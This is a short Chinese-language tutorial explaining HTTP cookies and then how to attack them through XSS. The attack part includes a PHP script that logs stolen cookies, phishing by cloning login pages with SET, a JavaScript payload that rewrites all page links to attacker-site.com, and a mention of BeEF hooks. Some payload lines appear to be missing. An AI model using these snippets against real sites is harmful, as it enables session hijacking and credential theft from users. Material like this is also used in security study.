cookie介绍
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。
目前有些Cookie是临时的,有些则是持续的。临时的Cookie只在浏览器上保存一段时间,一但超过规定时间,该Cookie就会被系统清除。
服务器可以利用Cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
php语言设置cookie:<?php setcookie('user','admin')?> <?php setcookie('user','admin',time()-1)?>
由于cookie存储在客户端,随时有可能被盗取和滥用。
盗取cookie
只要可以通过JS发送一个对应的HTTP请求,通过HTML注入相关的代码到页面中,当用访问或操作时,就会发送cookie值。
利用盗取的cookie进行访问网页冒充合法用户权限认证。
利用XSS获取cookie:
服务端记录cookie php版本: <?php $cookie=$_GET["cookie"];$log=fopen("cookie.txt","a");fwrite($log,$cookie,"\n");fclose($log);?>
cookie欺骗
利用http截断工具进行cookie值的替换。例如:
盗取用户信息
首先克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆的登录页面,用户输入登录,账号和密码被存储。
setookit工具克隆网站
万能社工工具。
此时就可以通过注入XSS payload:
诱导用户跳转到克隆网站,从而获取到用户输入的用户名和密码。
XSS篡改网页链接
JS代码事例:
使用windows.onload 当窗口加载时,执行匿名函数。
使用循环遍历所有获得的链接a标签。
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for (j = 0; j < link.length; j++) {
link[j].href = "http://attacker-site.com/";}
}
</script>
可以在存在XSS的位置插入上述脚本,触发执行替换a标签中链接的操作,当用户点击链接向目标主机发出HTTP请求。利用这种方式可以实现例如:重定向网站进行刷流量、篡改链接指向恶意URL。
篡改链接指向恶意URL
利用Beef进行恶意链接生成,以及利用hook.js执行其它命令。
访问beef